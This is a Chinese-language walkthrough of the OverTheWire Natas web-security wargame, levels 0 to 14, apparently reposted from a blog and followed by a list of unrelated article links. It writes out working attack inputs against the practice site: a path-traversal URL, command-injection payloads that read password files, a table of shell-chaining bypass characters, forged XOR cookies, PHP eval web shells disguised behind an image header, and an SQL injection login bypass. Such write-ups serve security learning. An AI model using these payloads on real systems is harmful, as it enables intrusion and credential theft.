natas(level0-level14)通關詳細指南(一)
natas通關指南
很久以前玩的一個Web安全的通關遊戲Natas,每一關的地址是http://natasX.natas.labs.overthewire.org,其中X代表當前關數,預設使用者名稱是nataX(eg.natas0 是level0的使用者名稱),通過當前的一關獲取進入下一關的密碼。所有密碼儲存在/etc/natas_webpass/中(eg.level5的密碼儲存在/etc/natas_webpass/natas5,只能在第四關和第五關能夠讀取密碼)
level0
URL: http://natas0.natas.labs.overthewire.org
Username: natas0
Password: natas0
登陸,檢視原始碼,獲取密碼 gtVrDuiDfck831PqWsLEZy5gyDz1clto
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
level1
URL:http://natas1.natas.labs.overthewire.org
Username:natas1
Password:gtVrDuiDfck831PqWsLEZy5gyDz1clto
這一關通過檢視原始碼獲得level2的密碼
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
level2
URL:http://natas2.natas.labs.overthewire.org
Username:natas2
Password:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
提示:There is nothing on this page
檢視原始碼確實沒有,但是原始碼中可以看到有/css,/js,/files三個目錄,嘗試files目錄,有資訊洩露,從users.txt中獲取level3的密碼
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
level3
URL:http://natas3.natas.labs.overthewire.org
Username:natas3
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
這關的提示:沒有資訊洩露,連google都發現不了
看到提示馬上想到robots.txt,這個檔案一般用來防爬蟲的,訪問該檔案,發現目錄/s3cr3t/
User-agent: *
Disallow: /s3cr3t/
再訪問/s3cr3t/目錄下的users.txt,獲取level4的密碼:
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
level4
URL:http://natas4.natas.labs.overthewire.org
Username:natas4
Password:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
提示:禁止訪問,授權使用者來自natas5
想到應該是偽造請求
burpsuite抓包,修改請求頭中的refer為Referer: http://natas5.natas.labs.overthewire.org/,獲取level5的密碼:Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
level5
URL:http://natas5.natas.labs.overthewire.org
Username:natas5
Password:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
提示:Access disallowed. You are not logged in
明明登陸成功,卻說沒有登陸,想到可能是cookie認證出問題,同樣用burpsuite抓個報,發現cookie中的loggedin欄位值loggedin=0,修改為loggedin=10,過關
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
level6
URL:http://natas6.natas.labs.overthewire.org
Username:natas6
Password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
原始碼分析
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
array_key_exists沒有漏洞,驗證post提交的值與密碼是否相同,嘗試訪問includes/secret.inc,得到$secret = "FOEIUWGHFEEUHOFUOIU";
輸入金鑰,過關,害我還以為函式有漏洞。Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
level7
URL:http://natas7.natas.labs.overthewire.org
Username:natas7
Password:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
提示:hint: password for webuser natas8 is in /etc/natas_webpass/natas8
嘗試目錄遍歷讀取,過關。Password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
payload:http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../etc/natas_webpass/natas8
level8
URL:http://natas8.natas.labs.overthewire.org
Username:natas8
Password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
原始碼:
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
這是解密題,post引數值通過encodeScret()函式加密,加密後的值等於$encodedSecret = "3d3d516343746d4d6d6c315669563362"
,即已知加密演算法及加密後的值,求解加密之前的原文。
bin2hex(strrev(base64_encode($secret)))=3d3d516343746d4d6d6c315669563362
解密演算法
<?php
$encodesecret = "3d3d516343746d4d6d6c315669563362";
$encodesecret=hex2bin($encodesecret);
$encodesecret=strrev($encodesecret);//strrev — 反轉字串
$encodesecret=base64_decode($encodesecret);
print $encodesecret;
?>
找個線上執行程式碼的網站,我這裡用https://tool.lu/coderunner/,執行程式碼,得到$_POST[‘secret’]=oubWYf2kBq,進而獲得密碼:Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
level9
URL:http://natas9.natas.labs.overthewire.org
Username:natas9
Password:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
原始碼:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) { //判斷是否存在needle
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt"); //grep -i 或 --ignore-case : 忽略字元大小寫的差別;執行命令獲取檔案dictionary.txt中的內容
}
?>
首先想到可以檢視檔案的命令有more、less、tac、cat等
構造payload:needle=cat
,沒有發現下一關的密碼,想到應該是直接讀取密碼檔案(/etc/natas_webpass/natas10)的內容,構造pyaload:needle=cat /etc/natas_webpass/natas10
,不能得出結果,需要考慮語句的內容,進行拼接。
命令執行繞過
1、常用方法
使用& 、&& 、; 、| 、||繞過
連線字元 | 方式 | 執行方式 |
---|---|---|
&& | A&&B | A執行成功才執行B,A執行失敗B不執行 |
& | A&B | A、B都執行 |
; | A;B | windows下不執行,linux下都執行 |
|| | A||B | A執行成功則只執行A,否則執行B |
| | A|B | 直接執行B |
基礎通用方法破解dvwa之程式碼注入,該文章裡面有講到使用不同字元對命令語句進行拼接,究竟會如何執行。
根據文章內容構造本關的payload:
?needle=|cat /etc/natas_webpass/natas10 #
?needle=;cat /etc/natas_webpass/natas10 #
?needle=&cat /etc/natas_webpass/natas10 #
最後的#可以fuzz以下,估計很多字元可以將dictionary.txt繞過掉,natas10的密碼nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
level10
URL:http://natas10.natas.labs.overthewire.org
Username:natas10
Password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
原始碼:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) { //過濾字元/[;|&]/
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
無法繞過grep命令,想辦法直接使用grep命令,基於grep命令可以使用正規表示式,
payload:
. /etc/natas_webpass/natas11 #
[a-zA-Z] /etc/natas_webpass/natas11 #
得到密碼:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
level11
URL:http://natas11.natas.labs.overthewire.org
Username:natas11
Password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
原始碼:
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //異或
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
//將cookie中data的值用base64解碼,再用自定義函式xor_encrypt異或加密
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<?
if($data["showpassword"] == "yes") { //如果data的showpassword欄位值為yes,列印natas12的密碼
print "The password for natas12 is <censored><br>";
}
?>
根據異或的特性,如果有A XOR B =C ,則有 A XOR C =B。
已知$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff")
、當前的Cookie: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
(%3D為字元=),計算key
<?php
$cookie_data='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
function xor_encrypt($in) {
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //異或
}
return $outText;
}
print_r(xor_encrypt(base64_decode($cookie_data)));
?>
得到結果:qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq,則key=qw8J
因為只判斷$data["showpassword"] == "yes"
,而$data = loadData($defaultdata)
,函式loadData()
中解密$_COOKIE["data"]
的值(xor_encrypt(base64_decode($_COOKIE["data"]))
),所以只要利用前面獲取到的key,對陣列array( "showpassword"=>"yes", "bgcolor"=>"#ffffff")
加密,生成cookie,然後用burpsuite替換掉cookie即可。
<?php
$change_data = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //異或
}
return $outText;
}
print_r(base64_encode(xor_encrypt(json_encode($change_data))));
?>
生成的cookie值為ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,再使用burpsuite替換cookie,過關。The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
level12
URL:http://natas12.natas.labs.overthewire.org
Username:natas12
Password:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
原始碼:
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
從原始碼分析,沒有校驗檔案型別,只生成了隨機命名的檔名,所以這題可以任意上傳,用burpsuite修改檔案好檔名即可
上傳程式碼ok<?php phpinfo();?>
,發現函式system、eval等眾多命令執行函式都沒有禁用
上傳檔案1.php ok<?php @eval($_REQUEST['cmd']);echo 'hello!'; ?>
修改檔案字尾為php,返回檔案路徑upload/m93jo9pd4w.php
payload:upload/m93jo9pd4w.php?cmd=system('cat /etc/natas_webpass/natas13')
ps:想獲取所有關卡密碼,發現果然只能獲取當前和下一關的密碼
nstas13的password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
level13
URL:http://natas13.natas.labs.overthewire.org
Username:natas13
Password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
這題不上全部原始碼了,基本沒區別,使用exif_imagetype()函式對圖片型別進行判斷,修改程式碼如下:
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {//exif_imagetype — 判斷一個影像的型別
echo "File is not an image";
那麼,上傳一張真實圖片,再用burpsuite修改圖片檔案內容及字尾名,但一定要保留好圖片的檔案頭,即最開始的幾個字元
下圖就是png的檔案頭
GIF檔案的檔案頭GIF89a
保留圖片檔案頭,修改圖片內容為以下內容,然後上傳,獲取檔案返回路徑upload/1ls4ey5s8a.php
hello<br/><?php @eval($_REQUEST['cmd']);?>
payload:upload/1ls4ey5s8a.php?cmd=system('cat /etc/natas_webpass/natas14');
結果:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
level14
URL:http://natas14.natas.labs.overthewire.org
Username:natas14
Password:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
原始碼:
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
分析原始碼存在注入,對使用者輸入的username、password沒做過濾,存在debug引數,會返回sql查詢語句
測試:http://natas14.natas.labs.overthewire.org/?username=1&debug=1&password=1
Executing query: SELECT * from users where username="1" and password="1"
Access denied!
payload:username=12" or 1 #&password=12
natas15密碼:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
未完待續
level15
URL:http://natas15.natas.labs.overthewire.org
Username:natas15
Password:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
相關文章
- 年底晉升,全網最詳細的通關指南來了!
- HBase shell詳細操作指南
- Electron 的初學者詳細指南
- 非常詳細地Hive操作指南Hive
- iOS上架詳細通關教程(提交到AppStore)iOSAPP
- Flutter混合開發(三):Android與Flutter之間通訊詳細指南FlutterAndroid
- Android O 適配詳細指南Android
- 超詳細的 Vagrant 上手指南
- Nginx 優化指南 絕對詳細Nginx優化
- 資料庫索引:綜合詳細指南資料庫索引
- Stable Diffusion WebUI詳細使用指南WebUI
- 關於無線通訊的核心技術詳細介紹
- 網路基礎|送你一份詳細HTTP學習指南HTTP
- 超詳細Python正規表示式操作指南(re使用),一Python
- 超詳細Maven技術應用指南Maven
- 保姆級教程!玩轉 ChunJun 詳細指南
- Linux 下安裝subversion 詳細指南Linux
- 關於 CentOS 遷移龍蜥作業系統,這裡有一份詳細指南,請查收!CentOS作業系統
- Flutter混合開發(一):Android專案整合Flutter模組詳細指南FlutterAndroid
- 前端介面神器之 Json Server 詳細指南前端JSONServer
- Android中Gradle詳細實用指南AndroidGradle
- 史上最詳細的JavaScript事件使用指南JavaScript事件
- 使用 createError 建立錯誤物件的詳細指南Error物件
- Android 動畫:這是一份詳細 & 清晰的 動畫學習指南Android動畫
- 給所有開發者的React Native詳細入門指南(第一階段)React Native
- Kubernetes 部署 - DevOps CI/CD詳細指南dev
- 配置Nginx SSL Node.js環境詳細指南NginxNode.js
- 最詳細的 Vi 編輯器使用指南
- Aidl程式間通訊詳細介紹AI
- 計算機網路基礎:這是一份詳細 HTTP 學習指南計算機網路HTTP
- Android:這是一份全面 & 詳細的Retrofit 2.0 原始碼分析指南Android原始碼
- 關於商業部署機器學習,這有一篇詳盡指南機器學習
- 原生App專案整合flutter混合開發詳細指南APPFlutter
- Mitti不迷路!Mitti for Mac的超詳細入門指南MITMac
- Git 詳細的操作指南筆記(從零開始)Git筆記
- 使用suse時必看的應用指南詳細解析(轉)
- 呼叫API介面獲取淘寶關鍵詞商品資料:詳細指南與程式碼實踐API
- 關於SAP clienyt copy詳細解析